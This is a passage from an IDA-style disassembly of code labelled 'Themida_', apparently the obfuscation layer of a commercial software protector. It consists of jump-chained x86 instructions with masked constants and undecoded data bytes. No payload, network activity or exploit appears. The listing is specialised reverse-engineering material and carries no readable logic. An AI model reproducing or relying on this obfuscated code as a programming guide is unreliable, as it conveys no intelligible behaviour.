		add	esi, ebx
		pop	ebx
		jmp	loc_54E8CB
; ---------------------------------------------------------------------------
		db 81h
		dd 1226E7F3h, 0BFC38165h, 0E99A6C99h, 0FFFFB324h
; ---------------------------------------------------------------------------


loc_54BCE4:				; CODE XREF: Themida_:0054B0F1j
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		or	ebx, 159677EEh
		shr	ebx, 8
		xor	ebx, 530219BCh
		xor	ebx, 5395C667h
		push	ecx
		mov	ecx, 188408A2h
		jmp	loc_54DA9E
; ---------------------------------------------------------------------------


loc_54BD08:				; CODE XREF: Themida_:0054BD6Cj
		not	eax
		jmp	loc_54A650
; ---------------------------------------------------------------------------
		db 1
		dd 0D05BE9DDh, 0F66FFFFh, 9C2404BBh, 4AAEE9h, 0FE596600h
		dd 6E9C0C1h, 0BF68D9F6h, 8900006Fh, 75B3241Ch, 0FF8BFCE9h
		dd 55854FFh, 4,	0D1BAE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BD46:				; CODE XREF: Themida_:0054D559j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54F78F
; ---------------------------------------------------------------------------
		db 51h
		dd 0ED808BB5h, 151FE965h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BD5A:				; CODE XREF: Themida_:0054F72Ej
		pop	edi
		xor	ebp, 5D811C53h
		jmp	loc_549340
; ---------------------------------------------------------------------------


loc_54BD66:				; CODE XREF: Themida_:00545803j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54BD08
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 5Fh
		dd 29088AE9h, 93E95FFDh, 0B6FFFF8Eh, 0CAC78026h, 0EF80F700h
		dd 0E322E9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BD8E:				; CODE XREF: Themida_:00548AD6j
		pop	edx
		add	ebp, esi
		pop	esi
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_54D302
; ---------------------------------------------------------------------------
		dd 8924248Bh, 4BE2434h,	1000000h, 2434FFF2h, 0FFFB9DE9h
		dd 0FC868FFh, 0E3E90000h, 68FFFFEAh, 4,	0FFF967E9h, 5507BDFFh
		dd 3BE9580Ah, 0C1000027h, 0BE5602EBh, 3DBA48FEh, 0FF99A0E9h
		dd 4F281FFh, 29CE52F8h,	31E0E9D3h, 0E95C0000h, 819h, 4C481h
		dd 0E9530000h, 3E93h, 866EF680h, 0EC8850EEh, 0BDE9D4F6h
		dd 0D1000043h, 0DBC181E9h, 8900FDFDh, 0BE5659CAh, 1FD9521Fh
		dd 0FF955FE9h, 2424D2FFh, 8879E99Ch, 8950FFFFh,	405E0h
		dd 7E90000h, 68FFFF9Fh,	2E49h, 0E9240489h, 0FFFFBB6Eh
; ---------------------------------------------------------------------------


loc_54BE48:				; CODE XREF: Themida_:0054F35Bj
		push	ebx
		jmp	loc_54E86D
; ---------------------------------------------------------------------------
		dw 835Fh
		dd 148704C2h, 3D6FE924h, 564B0000h, 102FE9h, 242C3100h
		dd 8B242C33h, 89662424h, 91E92404h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BE73:				; CODE XREF: Themida_:00544D68j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54B6E0
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 5C010000h, 0FF5B0424h, 34FF2434h
		db 24h,	5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	edx
		jmp	loc_54B4BD
; ---------------------------------------------------------------------------
		dd 0A5113FBFh, 4BF1E95Bh, 0C2810000h, 0D2806E62h, 875AD701h
		dd 685C243Ch, 72Bh, 88240C89h, 872C88DDh, 2434FF59h, 81241C8Bh
		dd 4C4h, 4C48300h, 0FF87D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BED5:				; CODE XREF: Themida_:00550AC3j
		sub	esi, eax
		pop	eax
		push	eax
		jmp	loc_5466D4
; ---------------------------------------------------------------------------
		dw 0C148h
		dd 0F75004E8h, 48582414h, 9263F805h, 58C60104h,	5C243487h
		dd 3EFAF781h, 0FB890EB4h, 81243C8Bh, 4C4h, 4EC8300h, 0FFDA4FE9h
		dd 5FF801FFh, 1AA005h, 0E9E80102h, 0FFFFE13Dh
; ---------------------------------------------------------------------------


loc_54BF1C:				; CODE XREF: Themida_:0054499Fj
		xor	edi, ecx
		xor	ecx, edi
		xor	edi, ecx
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_548734
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 15h
aObuksiq	db 'OUKéˆQ',0
		dd 34895C00h, 70B36824h, 0E9733Ch, 5CFFFFD4h, 405h, 40500h
		dd 4330000h, 24043124h,	0E9240433h, 6FAh
dword_54BF60	dd 0D6EE81ADh, 81319243h, 0B3140DEEh, 52C6010Ah, 451FFBBAh
					; DATA XREF: Themida_:005445DCo
		dd 4AD2F733h, 3109C281h, 0BB536D39h, 32142DE2h,	3A36E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BF89:				; CODE XREF: Themida_:00545F6Dj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, 0AC75123h
		add	ebx, ebp
		sub	ebx, 0AC75123h
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ebx, edi
		mov	edi, [esp]
		jmp	loc_54BC14
; ---------------------------------------------------------------------------
		dw 3489h
		dd 8BBEBE24h, 0F7292CBFh, 0FFFA47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BFD1:				; CODE XREF: Themida_:00550921j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_550A68
; ---------------------------------------------------------------------------
		dd 68241C89h, 36C7h, 52240C89h,	0DAF640B2h, 2C51B050h
		dd 0EE23E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C00A:				; CODE XREF: Themida_:0055123Ej
		mov	edx, 2B1174A3h
		jmp	loc_54DC37
; ---------------------------------------------------------------------------


loc_54C014:				; CODE XREF: Themida_:0054D5BFj
		pop	edx
		mov	ecx, ebp
		pop	ebp
		jmp	loc_54C8FA
; ---------------------------------------------------------------------------
byte_54C01D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005444D4o
		dd 0FFE1FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C025:				; CODE XREF: Themida_:0054B216j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_548AEC
; ---------------------------------------------------------------------------


loc_54C033:				; CODE XREF: Themida_:0054FF4Ej
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_5478D2
; ---------------------------------------------------------------------------
		db 1
		dd 0C3295FFBh, 0FFD775E9h, 81475FFFh, 0EF1C03C7h, 0E9FA89E6h
		dd 1F94h, 1C8BDF89h, 4C48124h, 81000000h, 34E040EFh, 9A9DE955h
		dd 15FFFFFh, 4FFE2DD8h,	0BE56055Ch, 736C289Bh, 7886BE56h
		dd 2E95767h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C087:				; CODE XREF: Themida_:0054811Fj
		or	edx, ebx
		pop	ebx
		dec	edx
		jmp	loc_544C1A
; ---------------------------------------------------------------------------
		dd 31241C33h, 0FCE9241Ch
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C09B:				; CODE XREF: Themida_:0054A2C4j
		mov	ebp, 4
		jmp	loc_550B41
; ---------------------------------------------------------------------------
byte_54C0A5	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:00544400o
		dd 0FFD4E4E9h, 4EC81FFh, 89000000h, 4BD242Ch, 81000000h
		dd 0F01E0CC6h, 361E920h, 0E9540000h, 0FFFFEB4Eh
; ---------------------------------------------------------------------------


loc_54C0CC:				; CODE XREF: Themida_:00545E13j
		push	ebx
		mov	ebx, 6CDF3915h
		not	ebx
		jmp	loc_54524A
; ---------------------------------------------------------------------------


loc_54C0D9:				; CODE XREF: Themida_:0054D9DAj
		or	edi, ecx
		jmp	loc_54B23A
; ---------------------------------------------------------------------------


loc_54C0E0:				; CODE XREF: Themida_:00544B5Fj
		shl	ecx, 4
		add	ecx, 797CA092h
		xor	esi, ecx
		jmp	loc_5473F2
; ---------------------------------------------------------------------------
		dd 5A66F588h, 1A045404h, 74E9462Ch, 29FFFFDAh, 0E4055EF0h
		dd 0FF79847Eh, 3C8B2434h, 4C48324h, 4C481h, 0BA520000h
		dd 73076DF1h, 0B7E9DAF7h
		db 26h,	2 dup(0)
byte_54C123	db 66h			; DATA XREF: Themida_:00544488o
		dd 5124048Bh, 0A6E9E189h, 58FFFF98h, 4077B850h,	0A2E92FD2h
		dd 80FFFF87h, 0F70801EEh, 0CF7805Ah, 1C8BF830h,	5B545324h
		dd 63685552h, 0E968A544h, 0FFFFB628h
; ---------------------------------------------------------------------------


loc_54C158:				; CODE XREF: Themida_:0054D322j
		mov	eax, 4
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54B0E9
; ---------------------------------------------------------------------------
		dd 0F9E9EE29h, 0BF00001Eh, 2, 3C8BF801h, 4C48124h, 0E9000000h
		dd 0FFFF90F1h
; ---------------------------------------------------------------------------


loc_54C190:				; CODE XREF: Themida_:00550BCBj
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_548632
; ---------------------------------------------------------------------------


loc_54C19E:				; CODE XREF: Themida_:00549C48j
		dec	esi
		neg	esi
		shl	esi, 7
		jmp	loc_544B7E
; ---------------------------------------------------------------------------


loc_54C1A9:				; CODE XREF: Themida_:0054901Aj
		pop	esi
		push	ebp
		push	4
		pop	ebp
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_54FDA9
; ---------------------------------------------------------------------------
dword_54C1BC	dd 0FF2434FFh, 48B2434h, 4C48324h ; DATA XREF: Themida_:005444E4o
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5476AF
; ---------------------------------------------------------------------------


loc_54C1E3:				; CODE XREF: Themida_:0054B15Cj
		xor	ebp, 0CA56BCEh
		add	ebp, 1
		neg	ebp
		push	edi
		mov	edi, 12E71DA2h
		shr	edi, 4
		jmp	loc_5464F3
; ---------------------------------------------------------------------------


loc_54C1FC:				; CODE XREF: Themida_:0054E306j
		push	50577C5Bh
		jmp	loc_54E3AF
; ---------------------------------------------------------------------------


loc_54C206:				; CODE XREF: Themida_:005460A4j
		push	edx
		jmp	loc_546706
; ---------------------------------------------------------------------------


loc_54C20C:				; CODE XREF: Themida_:0054B65Fj
		and	ah, bh
		pop	bx
		sub	esp, 4
		jmp	loc_54AF32
; ---------------------------------------------------------------------------


loc_54C21B:				; CODE XREF: Themida_:005475BCj
		sub	dl, 0FEh
		jmp	loc_54F818
; ---------------------------------------------------------------------------


loc_54C223:				; CODE XREF: Themida_:005490EBj
		pop	ebp
		jmp	loc_54F531
; ---------------------------------------------------------------------------
aR_1		db '°à²Ó',0
aXhf		db 'ÂXhä=',0
		dd 240C8900h, 1BB4E9h, 4BA00h, 0D5010000h, 4EC835Ah, 0B9240C89h
		dd 2, 0C8BCD01h, 5DE95124h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C25B:				; CODE XREF: Themida_:00549156j
		shl	edi, 1
		shl	edi, 2
		push	ebx
		mov	ebx, 8002C824h
		xor	edi, ebx
		pop	ebx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	5065h
		mov	[esp], ebx
		jmp	loc_54FF40
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 4BBE5604h, 813BDD22h, 9D7A74F6h, 3EEC11Bh, 3B10E681h
		dd 0EED104F4h, 1B89E953h, 0EA310000h, 246C815Dh, 8D766A04h
		dd 24542968h, 6ABA5204h, 1688D76h, 5A082454h, 317E9h, 24148700h
		dd 0E789575Ch, 0FFC97AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C2D5:				; CODE XREF: Themida_:0054B7F8j
		sub	ecx, 5AB13C9Dh
		sub	ecx, edx
		jmp	loc_54B3D5
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0B95A5D52h, 57A64ECFh, 34FFE931h,	3044E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C2FA:				; CODE XREF: Themida_:0055080Aj
		push	57BA5609h
		pop	esi
		dec	esi
		jmp	loc_548124
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 83000000h,	3C8704C7h, 1C875C24h, 34FF5C24h
		dd 54565824h, 0FF90D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C325:				; CODE XREF: Themida_:00545DE7j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_547725
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, 0
		mov	edx, ebx
		jmp	loc_54EDF0
; ---------------------------------------------------------------------------
		dd 0ADE6E954h, 0F281FFFFh, 0D6FFCEEFh, 55AD001h, 3CA03A98h
		dd 114DD42Dh, 4C230577h, 0C9E94017h, 81000008h,	42404h
		dd 575D0000h, 4BFh, 5FFD0100h, 8DBA52h,	0E281140Ah, 49EE2CC6h
		dd 8904EC83h, 8268240Ch, 0E9000A00h, 0FFFFA00Ah, 0C46179B8h
		dd 6851552Eh, 47087806h, 0F7BD5559h, 0E9149A5Bh, 2413h
		dd 5724148Bh, 0DE685F54h, 89000063h, 50512434h,	0FF8500E9h
		dd 0B5BE56FFh, 0BB40B45Ch, 0E15F15E2h, 348BF301h, 0E7895724h
		dd 4C781h, 0E90000h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C3EF:				; CODE XREF: Themida_:00550C7Bj
		or	edi, 733858C5h
		jmp	loc_548B69
; ---------------------------------------------------------------------------


loc_54C3FA:				; CODE XREF: Themida_:0054F87Ej
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_548D36
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 24348758h, 0E924248Bh, 0FFFFD14Eh
; ---------------------------------------------------------------------------


loc_54C418:				; CODE XREF: Themida_:0054D604j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54AFDD
; ---------------------------------------------------------------------------
		db 1
		dd 0CEE81EEh, 0E920F01Eh, 10A1h, 4BDh, 5DEF0100h, 4C781h
		dd 0C8680000h, 8900003Ah, 0F7E9243Ch
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C44F:				; CODE XREF: Themida_:0054AF85j
		add	dword ptr [esp], 0B0A63E9h
		pop	esi
		sub	esi, 0B0A63E9h
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 44B02D28h
		mov	[edx+30h], esi
		pop	esi
		jmp	loc_549E89
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 0E9h
		dd 1CC2h
; ---------------------------------------------------------------------------


loc_54C47C:				; CODE XREF: Themida_:005477EEj
		push	eax
		sub	dword ptr [esp], 4A9D372Ah
		pop	ecx
		add	ecx, 4A9D372Ah
		pop	eax
		push	ebp
		jmp	loc_54FC4B
; ---------------------------------------------------------------------------


loc_54C492:				; CODE XREF: Themida_:0054F924j
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_54AF9D
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		push	edx
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		push	esi
		push	4BB238EEh
		pop	esi
		or	esi, 4F180E50h
		or	esi, 55E77B72h
		jmp	loc_5449B0
; ---------------------------------------------------------------------------


loc_54C4CD:				; CODE XREF: Themida_:005489E3j
		pop	esp
		jmp	loc_546CD9
; ---------------------------------------------------------------------------


loc_54C4D3:				; CODE XREF: Themida_:0054B6D4j
		dec	ebx
		jmp	loc_544F2B
; ---------------------------------------------------------------------------


loc_54C4D9:				; CODE XREF: Themida_:0054EC5Dj
		xor	ecx, ebp
		jmp	loc_54B484
; ---------------------------------------------------------------------------


loc_54C4E0:				; CODE XREF: Themida_:005504EBj
		push	2646h
		mov	[esp], ecx
		jmp	loc_5492B3
; ---------------------------------------------------------------------------


loc_54C4ED:				; CODE XREF: Themida_:0054C802j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		push	4
		push	dword ptr [esp]
		pop	ebx
		push	esi
		jmp	loc_546082
; ---------------------------------------------------------------------------


loc_54C507:				; CODE XREF: Themida_:0054A72Bj
		sub	edi, 0EB99E63Ch
		mov	ebp, edi
		jmp	loc_549C7C
; ---------------------------------------------------------------------------
		dd 0FF582FBBh, 5BD90110h, 240C875Eh, 0F24248Bh,	5968C8B6h
		dd 89000061h, 0E789243Ch, 236B68h, 24348900h, 4BEh, 0AAEF8100h
		dd 6862F83Ah, 5D8Fh, 2922E9h, 0E6895600h, 4C681h, 0EE830000h
		dd 0AA64E904h, 685CFFFFh, 571h,	0E9242489h, 0FFFFBD0Eh
; ---------------------------------------------------------------------------


loc_54C56C:				; CODE XREF: Themida_:0054AD9Ej
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_545B9D
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 12D01447h, 0E2895258h, 4C281h, 0EA830000h, 0F3E904h
		dd 2C870000h, 78E95C24h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C5AF:				; CODE XREF: Themida_:0054DAAFj
		not	eax
		jmp	loc_54F8F3
; ---------------------------------------------------------------------------
		dw 5052h
		dd 0F336E868h, 93485839h, 0E993D3F7h, 80Ah, 2D01E883h
		dd 1E9C954h, 48BC629h, 4C48324h, 0E9243487h, 29E3h, 5A2434FFh
		dd 0FFF845E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C5E9:				; CODE XREF: Themida_:0054554Aj
		push	ecx
		jmp	loc_5457E8
; ---------------------------------------------------------------------------


loc_54C5EF:				; CODE XREF: Themida_:005509E0j
		add	esp, 4
		jmp	loc_54542F
; ---------------------------------------------------------------------------
		db 0BDh
		dd 3BD554E8h, 5DE2ED81h, 0ED813CD4h, 9E33B0FBh,	0FF8760E9h
		dd 48966FFh, 74FF6624h,	0EFE90224h, 1FFFFC0h, 4A685BD9h
		dd 89000013h, 0C8BE2434h, 817B7004h, 5B07EAEEh,	2FE6813Fh
		dd 5369E22Fh, 2C0CBBh, 0E9DE3128h, 143Fh, 2A77E955h, 1590000h
		dd 15E95EF3h, 5800004Dh, 0C945E952h, 248BFFFFh,	79EE924h
		dd 85050000h, 0E96D096Bh, 0FFFFC3B0h
dword_54C66C	dd 8B2434FFh, 89512404h, 4C181E1h, 83000000h, 0C8704C1h
					; DATA XREF: Themida_:005444B8o
		dd 89515C24h, 4C181E1h,	57000000h, 0FFDEDBE9h, 525B5BFFh
		dd 434CE9h, 24148700h, 0FFB13DE9h, 0A9BBBFFh, 0B8501D4Ch
		dd 0BC7EC490h, 8158C329h, 0DF29AAC2h, 81DA295Ch, 0DF29AAEAh
		dd 2885B5Ch, 0FFB3BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C6C5:				; CODE XREF: Themida_:00550E6Ej
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_54F086
; ---------------------------------------------------------------------------
word_54C6D6	dw 28Fh			; DATA XREF: Themida_:00544490o
		dd 0FF7FCAE9h, 49E668FFh, 0ABE94046h, 81FFFFDFh, 8D5837C5h
		dd 0C5814554h, 2E00389Ch, 8104E5C1h, 0B0F394C5h, 454BE974h
		dd 24890000h, 24048324h, 802AE904h, 0EB81FFFFh,	604454h
		dd 0C381EB29h, 604454h,	81C3015Dh, 0BB45F1C3h, 0A1BD552Fh
		dd 534D2E0Eh, 0C3ECE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C732:				; CODE XREF: Themida_:0054727Fj
		add	ebx, 0E030C728h
		mov	ecx, ebx
		pop	ebx
		sub	ebx, ecx
		pop	ecx
		push	ebp
		jmp	loc_55003A
; ---------------------------------------------------------------------------
		dd 0E9F78853h, 0FFFFE19Ch, 44E92BB2h, 8300001Bh, 348904ECh
		dd 2647BE24h, 0F3291FF0h, 54EB815Eh, 29558F10h,	2FACE9C3h
		dd 0C5810000h, 2, 0FFAD58E9h, 896B6FFh,	0E3C05AF3h, 0E5F38002h
		dd 5107E3C0h, 0E98082B1h, 0ADC1808Dh, 2846F180h, 0D80059CBh
		dd 81241C8Bh, 4C4h, 2CD00000h, 24148B9Ch, 4C481h, 0D8280000h
		dd 8953E52Ch, 4C381E3h,	81000000h, 4EBh, 74FF5300h, 8F5B0424h
		dd 895C2404h, 52B62414h, 0E9DDB551h, 0FFFFE8B6h, 0E70E22BFh
		dd 5FF9214Fh, 87BA5250h, 0E97FA638h, 0FFFFF10Fh
; ---------------------------------------------------------------------------


loc_54C7EC:				; CODE XREF: Themida_:0054A303j
		push	ax
		mov	ah, 62h
		sub	bl, ah
		pop	ax
		add	bl, 6Bh
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	0BC5h
		jmp	loc_54C4ED
; ---------------------------------------------------------------------------


loc_54C807:				; CODE XREF: Themida_:0054CF1Dj
		xor	edx, 25BB73A2h
		xor	edx, 0B13141C1h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_546824
; ---------------------------------------------------------------------------
		dd 360BBA52h, 0C281048Dh, 6C24416Ah, 357BC281h,	4AE92049h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C83B:				; CODE XREF: Themida_:0054BAC3j
		pop	edi
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_547EB5
		push	dword ptr [edi+1Ch]
		jmp	loc_5498E4
; ---------------------------------------------------------------------------


loc_54C84F:				; CODE XREF: Themida_:00547728j
		pop	ebx
		jmp	loc_54F7C6
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 5Eh
		dd 5624148Bh, 88DCE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C862:				; CODE XREF: Themida_:005494A9j
		mov	[esp], edx
		push	ecx
		push	esi
		push	5774327Dh
		pop	esi
		and	esi, 0B820052h
		dec	esi
		xor	esi, 2956577Ch
		mov	ecx, esi
		jmp	loc_548BCE
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 348704C6h, 89525C24h, 648968E2h, 19E90000h
		dd 68000016h, 681h, 0FF240489h,	58042474h, 8B24048Fh, 1DE92424h
		dd 87000043h, 315C243Ch, 96E92404h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C8BF:				; CODE XREF: Themida_:00544C52j
		add	esp, 4
		jmp	loc_5458D3
; ---------------------------------------------------------------------------
		db 47h
		dd 319DBD55h, 0ED813A8Bh, 62664AC6h, 315DEF29h,	3C97E9FBh
		db 2 dup(0)
word_54C8DE	dw 34FFh		; DATA XREF: Themida_:00544584o
		dd 0EC835924h, 3E19E904h, 0E9590000h, 1485h, 4240483h
		dd 0B089E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C8FA:				; CODE XREF: Themida_:0054C018j
		push	ebx
		jmp	loc_54AE51
; ---------------------------------------------------------------------------


loc_54C900:				; CODE XREF: Themida_:00544F26j
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		jmp	loc_54D7A4
; ---------------------------------------------------------------------------


loc_54C90D:				; CODE XREF: Themida_:0054CC3Bj
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_547F9B
; ---------------------------------------------------------------------------


loc_54C91C:				; CODE XREF: Themida_:00550FCBj
		mov	edx, esp
		add	edx, 4
		jmp	loc_54B2FA
; ---------------------------------------------------------------------------


loc_54C929:				; CODE XREF: Themida_:0054F56Fj
		add	ecx, 0BBE9ED2h
		sub	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_550C67
; ---------------------------------------------------------------------------


loc_54C939:				; CODE XREF: Themida_:00547C21j
		xor	ecx, [esp]
		pop	esp
		push	0EA0h
		mov	[esp], ecx
		push	1
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	edi
		push	ecx
		mov	ecx, 4F936CCFh
		jmp	loc_544A29
; ---------------------------------------------------------------------------


loc_54C964:				; CODE XREF: Themida_:0054F092j
		xchg	ebx, [esp]
		jmp	loc_54B1E4
; ---------------------------------------------------------------------------


loc_54C96C:				; CODE XREF: Themida_:00548FE3j
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_54FCCD
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E9B5F380h, 46FFh, 95E9454Dh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C98B:				; CODE XREF: Themida_:00545E71j
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_54ED10
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 36766800h, 1C890000h, 729E924h, 34870000h
		dd 34FF5C24h, 5BE95824h, 89FFFFE4h, 68562404h, 53CB28B7h
		dd 18F6815Eh, 810FD52Eh, 7D73FCF6h, 0A770E934h,	0E1C0FFFFh
		dd 8E1C006h, 28E2C180h,	0EC8359C8h, 0C896602h, 0BDE95224h
		dd 0F7FFFF88h, 50E781D7h, 0E91D9C7Ah, 0FFFF80A6h, 281973B9h
		dd 1FB3E917h, 89560000h, 4C681E6h, 83000000h, 2EE904C6h
		dd 5A00002Ah, 10A8E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CA1E:				; CODE XREF: Themida_:00547409j
		shr	ebp, 4
		jmp	loc_55022F
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 7813C281h, 0A5E92E85h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CA37:				; CODE XREF: Themida_:005461A2j
		pop	esi
		jmp	loc_544D25
; ---------------------------------------------------------------------------


loc_54CA3D:				; CODE XREF: Themida_:00546FE3j
		add	eax, 148E711Bh
		jmp	loc_54B40A
; ---------------------------------------------------------------------------
		db 5
		dd 4, 39DDE9h, 14875800h, 1C335C24h, 8767E924h
		db 2 dup(0FFh)
word_54CA5E	dw 8B66h		; DATA XREF: Themida_:0054453Co
		dd 0D4E92404h, 8B00003Fh, 28E92434h, 68000049h,	0DB4h
		dd 89242C89h, 3CB850E5h, 0F71D925Fh, 520305D8h,	5487538h
		dd 0A85A0D3Eh, 34FFC501h, 54505824h, 40558h, 0C0830000h
		dd 24048704h, 4C5815Ch,	87000000h, 248B242Ch, 4C48124h
		dd 0F7000000h, 0E28952F1h, 715168h, 241C8900h, 0C3815B54h
		dd 4, 4EB81h, 0BDE90000h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CAD3:				; CODE XREF: Themida_:00549939j
		sub	ebp, 4A334A5Bh
		pop	edx
		and	eax, ebp
		jmp	loc_551068
; ---------------------------------------------------------------------------


loc_54CAE1:				; CODE XREF: Themida_:0055122Cj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_54A0BD
; ---------------------------------------------------------------------------


loc_54CAFC:				; CODE XREF: Themida_:0054E5E7j
		mov	ecx, 7BDD4146h
		push	ebp
		jmp	loc_550D01
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFA2DAE9h, 2DD001FFh, 48320211h, 5A2434FFh,	4C481h
		dd 0FD680000h, 89000052h, 6853243Ch, 763Bh, 0B9240C89h
		dd 15F41A38h, 0CB8E981h, 0F1817ACDh, 416074B3h,	0BA5BC181h
		dd 0CB894CEAh, 4EC8159h, 0E9000000h, 0FFFF94D3h, 0C800B3B1h
		dd 28670459h, 4EC83D8h,	0B7241C89h, 6E7C030h, 0F786D7F6h
		dd 0F786D6F6h, 0F6FD8851h, 7F9DE9D5h, 2C8BFFFFh, 34E95624h
		dd 52FFFF7Fh, 0A42364BAh, 5AD60148h, 0EE81EE29h, 48A42364h
		dd 0FFE3F1E9h
		db 0FFh
byte_54CB99	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00544430o
		dd 5D545524h, 4C581h, 68530000h, 437Dh,	0B9240C89h, 2
		dd 8159CB89h, 0A5113FEDh, 57DD015Bh, 0FFF2D7E9h, 0F9C381FFh
		dd 146384Dh, 0F9EB81D3h, 5A46384Dh, 4C381h, 70E90000h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CBDF:				; CODE XREF: Themida_:0054525Dj
		pop	eax
		pop	ebx
		jmp	loc_54DA2D
; ---------------------------------------------------------------------------


loc_54CBE6:				; CODE XREF: Themida_:0054FD56j
		sub	esp, 4
		mov	[esp], eax
		push	edx
